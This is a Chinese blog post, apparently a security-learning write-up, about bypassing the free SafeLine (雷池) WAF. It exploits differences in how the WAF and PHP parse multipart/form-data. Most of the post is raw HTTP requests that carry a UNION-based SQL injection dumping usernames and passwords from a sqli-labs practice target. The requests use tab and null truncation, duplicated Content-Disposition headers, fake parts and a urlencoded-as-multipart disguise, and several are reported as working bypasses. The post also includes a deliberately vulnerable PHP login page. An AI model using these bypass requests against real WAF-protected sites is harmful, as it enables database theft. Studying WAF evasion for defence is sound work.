为什么要写这篇文章呢?
因为最近在学waf的绕过啊

那为什么又是雷池的捏?因为雷池waf应该算是一个使用的比较多的waf吧?
雷池的waf有以下的优点,所以使用的人比较多

  • 便宜,并且有个人免费版
  • 功能强大,并且可视化界面看起来nb
  • 是长亭的拳头产品,开发公司重视

那为什么又是免费版的waf呢?因为学习过程中一来就挑战收费的waf对我来说还是太难了

在雷池的绕过过程中,我们以sql注入为例子,get注入基本上绕过不过去,post请求倒是有可能。所以本文也在post请求下讨论绕过

回顾一下waf绕过的核心点:制造差异化

目前需要准备的环境:

  1. 部署雷池waf的虚拟机
  2. 部署sqli的靶场机
  3. 进行渗透的主机

环境部署会在后面出一篇文章,读者也可以自行准备,sqli和雷池waf都是有官方教程的

雷池waf的sql注入防御是语义化,那么这个语义化是什么?

语义化检测 = 不再依赖关键字的特征匹配(这个匹配包括正则匹配等),而是真正“理解” 用户输入的含义和结构像编译器一样
其核心关注两点:

  1. 语法层面: 流量的内容是否构成符合语言语法的代码片段
  2. 语义层面: 用户输入的内容是否改变了原本代码的语义

上面两个关注点也指出了真正的sql注入:语法正确+语义被污染只有满足这两个条件sql注入也才会被waf阻拦

我们可以试一下这个特点

访问部署好的环境,要记得走waf代理,使用不完整的恶意代码

a' or updatexml
1111

会发现没有被拦截
语义不完整.jpg

如果输入完整的恶意代码

a' or updatexml(1,1,1)#
1111

就会被拦截
访问被拦截.jpg

接下来我们聊一聊waf绕过的差异点

waf绕过的差异点

之前在一篇《腾讯waf挑战赛回忆录》的文章中看到:–对于一个http请求,nginx解析了什么的内容?交给后面的php,asp又解析了什么内容?–
当我们分析了这些之后,再从waf的角度出发,就能够看到一些 差异化

依旧是借助这篇文章的思路,从 multipart/form-data 出发,multipart/form-data 一般用来传递文件,但是在某些情况下也可以传递post参数 ,在Nginx+php的架构上,nginx不会解析multipart/form-data的body部分,而是交给php来解析,于是,第一个差异化也就出现了,waf获取到的数据和php获取到的数据就可能不一样

同样,我们写一个demo来测试一下

<?php

// 读取并输出 HTTP 请求的原始请求体body(未解析的原始数据)
echo file_get_contents("php://input");

echo "<hr>";

// 当为post请求的时候输出
var_dump($_POST);

echo "<hr>";

//当为上传文件的时候输出
var_dump($_FILES);
?>

在bp拦截后上传数据,修改 Content-Type 会得到下面的结果
demo.jpg

demo_post.jpg

demo_right.jpg

对比正常的multipart/form-data传输参数,在请求体当中少了一个filename=选项,获得的响应的类似,唯一区别就是file_get_contents()有没有输出。在那篇文章中可以看到,这9个字符缺一不可,少一个多一个,修改一个都会当作post传输,由此可以得出,文件上传依赖文件名

在一些WAF的产品中,一些waf产品为了降低误报率(为了用户体验考虑吧),对用户上传文件的内容不做匹配,会直接放行。在大多数情况下,用户上传的文件不会有什么恶意,特别是前端如果还对用户上传的文件做了一些特别的处理的话(比如图片进行裁剪、压缩、重绘,文件进行,文件后缀和类型限制,文件大小限制等),就可以认为是无害的。(但是聪明的你总能想到特别的手段)。那么我们问题的关键就来了,我们的目的就是让waf认为我们在上传文件,而后端则是认为我们是在进行post提交,如果实现了,我们就可以进行我们想要的操作了。

了解思路过后我们来进行雷池waf绕过的实战

雷池waf绕过

我们先来看看一些简单的入门级绕过思路:

1、0x00截断 filename

php底层是C语言,在C语言当中,\0是一个结束符号的表示,当出现了该字符,就表示这个字符串结束了,而http请求中每一行当作一个字符串传入,在这一句中使用00截断,也只会影响这一行,当然这个漏洞在php5.3.4之后被修复了

我们先来一个测试,以sqli的11关为例子:使用bp抓包,修改http请求包(需要修改less11的文件,避免其他参数影响,记得保存文件备份,方便恢复,删除掉文件中和password相关的即可,还要删除掉submit的name),下面是博主修改后的文件

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Less-11- Error Based- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div>

<div  align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">

<div style="padding-top:10px; font-size:15px;">
 

<!--Form to post the data for sql injections Error based SQL Injection-->
<form action="" name="form1" method="post">
	<div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;
	    <input type="text"  name="uname" value=""/>
	</div>  
	<!--<div> Password  : &nbsp;&nbsp;&nbsp;-->
		<!--<input type="text" name="passwd" value=""/>-->
	<!--</div></br>-->
	<div style=" margin-top:9px;margin-left:90px;">
		<!--<input type="submit" name="submit" value="Submit" />-->
		<input type="submit" value="Submit" />
	</div>
</form>

</div></div>

<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00">





<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);

// take the variables
// if(isset($_POST['uname']) && isset($_POST['passwd']))
if(isset($_POST['uname']))
{
	$uname=$_POST['uname'];
	print_r($uname);
// 	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	// 需要添加 \n 表示文件换行,避免后面读取的时候出现问题,登录不上
	fwrite($fp,'User Name:'.$uname."\n");
// 	fwrite($fp,'Password:'.$passwd."\n");
	fclose($fp);


	// connectivity 
// 	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	@$sql="SELECT username FROM users WHERE username='$uname' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  		//echo '<font color= "#0000ff">';	
  		
  		echo "<br>";
		echo '<font color= "#FFFF00" font size = 4>';
		//echo " You Have successfully logged in\n\n " ;
		echo '<font size="3" color="#0000ff">';	
		echo "<br>";
		echo 'Your Login name:'. $row['username'];
		echo "<br>";
// 		echo 'Your Password:' .$row['password'];
		echo "<br>";
		echo "</font>";
		echo "<br>";
		echo "<br>";
		echo '<img src="../images/flag.jpg"  />';	
		
  		echo "</font>";
  	}
	else  
	{
		echo '<font color= "#0000ff" font size="3">';
		//echo "Try again looser";
		print_r(mysqli_error($con1));
		echo "</br>";
		echo "</br>";
		echo "</br>";
		echo '<img src="../images/slap.jpg" />';	
		echo "</font>";  
	}
}

?>


</font>
</div>
</body>
</html>

然后修改http包如下图,仅需要修改content-type和body即可:

_ 00_1.jpg

然后我们会发现登陆失败,这是因为我这里使用的版本为php7.3,00截断不生效,只要我们验证是否被雷池拦住即可知道这个入门级渗透是否有效
_ 00_02.jpg

补全代码之后,发现被拦截。那我们可不可以在其他地方进行00截断呢?只要使得php和waf获取到不同的上传参数即可
接下来就试试:

\0

下面的代码不可直接复制,因为\0对系统本身也会认为是结束符号,读者可以试试自己修改hex后,复制粘贴看看效果

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 216
Content-Type:  multipart/form-data; boundary=a;

--a
Content-Disposition: form-data; name="uname"; filename="1.txt";
Content-Disposition: form-data; name="uname";
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
--a--

_ 00_up_0.jpg

\0则是在这个地方成功了,下面这个位置也可以生效
_ 00_up_0_1.jpg
\0截断在这里生效,在之前的位置不生效很可能是雷池waf没有考虑完全,不过要修复起来应该很快

那使用其他截断字符可以吗,我们接下来使用一下其他字符比如:\t,\n

\t

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 216
Content-Type:  multipart/form-data; boundary=a;

--a
Content-Disposition: form-data; name="uname"; filename	="1.txt";
Content-Disposition: form-data; name="uname";
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
--a--

_ 00_up_t.jpg
可以发现\t在这使用成功(预言家刀了)

为什么 \t 在这里成功了呢?,推测是雷池的waf过滤掉了 \t 但是php并没有处理

\n

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 217
Content-Type:  multipart/form-data; boundary=a;

--a
Content-Disposition : form-data; name="uname"; filename
="1.txt";
Content-Disposition: form-data; name="uname";
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
--a--

_ 00_up_n
\0 作者倒是试了很多次,占时还没有试出来结果

当然也有可能有其他位置可以,请读者自行尝试

2、双写上传描述行

双写上传描述行,雷池waf会取第二个(猜测写多个的话是取最后一个),而php则会取第一个(php老问题了),让waf认为是文件上传,php则是post传参

需要注意数据读取的上传和结束位置,避免换行等特殊字符也被读入了,使得sql语句失效

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 214
Content-Type:  multipart/form-data; boundary=a;

--a
Content-Disposition: form-data; name="uname";
Content-Disposition: form-data; name="uname";filename="1.txt";
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
--a--

duble_upload_00.jpg

可以看见成功绕过了雷池免费的waf并且获取了后台的数据

在《腾讯waf挑战赛回忆录》这篇文章中,后面双写的思路本质上和这个也是一样的,这里就不过多赘述了。读者可以自行测试,其中有些还是被waf拦截了。
类似思路文章2,3,6,7

3、构造假的part部分

个人感觉构造假的part部分和双写类似,waf读取到下面那部分,认为是文件上传,而php认为是一整个,则会认为是post传参,可以看到这个方法在雷池免费waf下可行

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 248
Content-Type:  multipart/form-data; boundary=a;

--a
Content-Disposition: form-data; name="uname";
Content-Type: image/png;
--a
Content-Disposition: form-data; name="uname"; filename="1.txt";
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
--a--

fack_part_00.jpg
类似的思路在文章中的4-5

4、空boundary

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 255
Content-Type:  multipart/form-data; boundary=;

--;
Content-Disposition: form-data; name="uname";filename="1.txt";
Content-Type: image/png;

1
--
Content-Disposition: form-data; name="uname";
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
----
--;--

不给boundary传值,会让雷池waf认为 ; 号是开始和结束的标志,而php则会认为空为结束符,于是我们就可以有下面的注入
space_boundary_00.jpg
但是也被waf拦截了,雷池还是没这么简单

类似思路 在文章中的8-10

5、严格的boundary

在前面的绕过过程中,能够发现一个规律,就是php比较灵活,而waf是属于比较严格的那种,那我们是否可以试试 “严格” 的 boundary 和 “不严格” 的 boundary

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 325
Content-Type:  multipart/form-data; aaaboundarybbb=a;boundary=b;

--b
Content-Disposition : form-data; name="uname"; filename="1.txt";
Content-Type: image/png;
1
--a
Content-Disposition : form-data; name="uname"; filename="1.txt";
Content-Disposition: form-data; name="uname";
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
--a--
--b--

boundary_up.jpg
但是在测试的过程中发现好像并没有成功,还是被waf给教训了

6、单双引号混合

和sql注入一样,我们需要思考的一个问题,如何闭合,如果php闭合是一种,而waf闭合是另外一种,那么 差异化 就又体现出来了

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 255
Content-Type:  multipart/form-data; boundary=a;

--a
Content-Disposition : form-data; name='uname'uname"; filename="1.txt";
Content-Type: image/png;

--a
Content-Disposition: form-data; name="uname";
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
--a--

但是很遗憾,依旧没有成功
double——single.jpg

7、urlencoded伪装成为multipart

这里就直接引用原文了

这个poc很特殊。实际上是 urlencoded,但是伪装成了 multipart,通过&来截取前后装 饰部分,保留id参数的完整性。理论上multipart/form-data 下的内容不进行urldecoded, 一些WAF也正是这样设计的,这样做本没有问题,但是如果是urlencoded格式的内容,不 进行url 解码就会引入%0a这样字符,而这样的字符不解码是可以直接绕过防护规则的,从 而导致了绕过。

大致意思就是php认为是urlencoded,而waf认为是文件multipart,然后使用 & 字符区分参数,然后后端php就能通过urlencode获取到我们传入的代码

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 178
Content-Type: application/x-www-form-urlencoded; 
multipart/form-data;boundary=a;

--a
Content-Disposition: form-data; name="uname"; filename="1.txt";
Content-Type: image/png;

1 &uname=a' union select group_concat(username,0x3a,password)from users#&
--a--

可以发现,很轻松的绕过了waf
url-multi.jpg
很棒的一种思路

8、skip_upload

skip_upload01

还是来到了这一步,查看 c 语言底层
查看 c 语言底层代码可以发现php是通过一个 skip_upload 来判断是否需要跳过文件上传的,下面是php5.3.3/main/rfc1867.c中一段的内容

if (!skip_upload) { 
	char *tmp = param; 
	long c = 0; 
	while (*tmp) { 
		if (*tmp == '[') {
			 c++; 
		} else if (*tmp == ']') { 
			c--; 
			if (tmp[1] && tmp[1] != '[') { 
				skip_upload = 1;
				break; 
			}
		} 
		if (c < 0) { 
			skip_upload = 1; 
			break; 
		} 
		tmp++; 
	}
} 

其中的param就是传入的参数 name=“uname”,简单读一下这段代码,可以发现想办法让 skip_upload=1 并且跳出即可,那么让 c<0 或者是不成对的 [] 出现也是可以的,那么我们这里构造一下 uname] 使得括号不成对,看能不能跳出

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 259
Content-Type:multipart/form-data;boundary=a;

--a
Content-Disposition: form-data; name="uname]"; filename="1.txt";
Content-Type: image/png;

--a
Content-Disposition: form-data; name="uname";
Content-Type: image/png;

1 &uname=a' union select group_concat(username,0x3a,password)from users#&
--a--

skip_upload01.jpg

但是很遗憾,失败了,很可能是雷池waf追踪到了

skip_upload02

继续看代码,发现有一个上传文件数量的限制

/* If file_uploads=off, skip the file part */ 
if (!PG(file_uploads)) { 
	skip_upload = 1; 
} else if (upload_cnt <= 0) { 
	skip_upload = 1; 
	sapi_module.sapi_error(E_WARNING, "Maximum number of allowable file uploads has been exceeded"); 
}

如果上传文件超出了限制也会进行跳出,那么如何使得文件上传数量到达限制的数量?
原文:
php 5.2.12 和以上的版本,有一个隐藏的文件上传限制是在php.ini里没有的,就是 这个max_file_uploads 的设定,该默认值是20, 在php 5.2.17的版本中该值已不再隐藏。文 件上传限制最大默认设为20,所以一次上传最大就是20个文档,所以超出20个就会出错 了。

于是我们构建20个文件上传,并在第21个上传我们的恶意代码试试

POST /Less-11/ HTTP/1.1
Host: www.sqli123.com:1024
Content-Length: 2212
Content-Type:multipart/form-data;boundary=a;

--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin

--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";filename="1.txt"
Content-Type: image/png;

admin
--a
Content-Disposition: form-data; name="uname";"
Content-Type: image/png;

a' union select group_concat(username,0x3a,password)from users#
--a--

但是依旧很不幸,雷池的waf在底层代码顶得比较死,依旧是失败了
skip_upload02.jpg

总结一下

雷池waf看不起小漏洞
雷池waf在面对比较小的字符处理漏洞和双写还有待优化,但是在代码追踪这一块是真的没得说。
双写漏洞就是php自找的

如果文中有错误的地方欢迎读者指出,谢谢

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐